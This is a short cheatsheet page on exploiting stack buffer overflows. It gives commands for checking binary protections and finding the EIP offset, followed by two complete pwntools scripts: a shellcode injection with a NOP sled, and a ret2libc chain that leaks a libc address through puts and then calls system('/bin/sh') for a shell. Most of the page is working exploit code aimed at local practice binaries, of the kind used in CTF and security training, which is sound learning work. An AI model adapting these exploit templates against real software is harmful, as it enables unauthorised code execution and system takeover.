Buffer Overflow
Buffer Overflow cheatsheet
Buffer Overflow
- pwntools
- check protections:
checksec <binary> - ASLR:
cat /proc/sys/kernel/randomize_va_space
Stack Shellcode
NX Stack, ASLR and Stack Canaries should be disabled
Detect the offset:
1
2
3
cyclic 100 > pattern
gdb pwn
> r < pattern # copy value of the EIP register
Run the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python2
from pwn import *
context.update(arch="i386", os="linux")
shellcode = shellcraft.sh()
payload = cyclic(cyclic_find(0x61616167)) # EIP value
payload += p32(0xdeadbeef) # or p32(0xffffd510+200) = ESP address + offset
payload += "\x90" * 100
payload += asm(shellcode)
p = process("./pwn")
p.recvline()
p.sendline(payload)
p.interactive()
Ret2Libc
- get address of system function and of the string
/bin/sh - libc binary:
ldd <binary>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.binary = binary = './exploit_me'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()
offset = 18
padding = b'A'*offset
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8,b'\0'))
p.recvline()
log.info(f'Gets leak => {hex(leak)}')
libc.address = leak - libc.symbols.gets
log.info(f'Libc base => {hex(libc.address)}')
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)
p.sendline(payload)
p.recvline()
p.interactive()
This post is licensed under CC BY 4.0 by the author.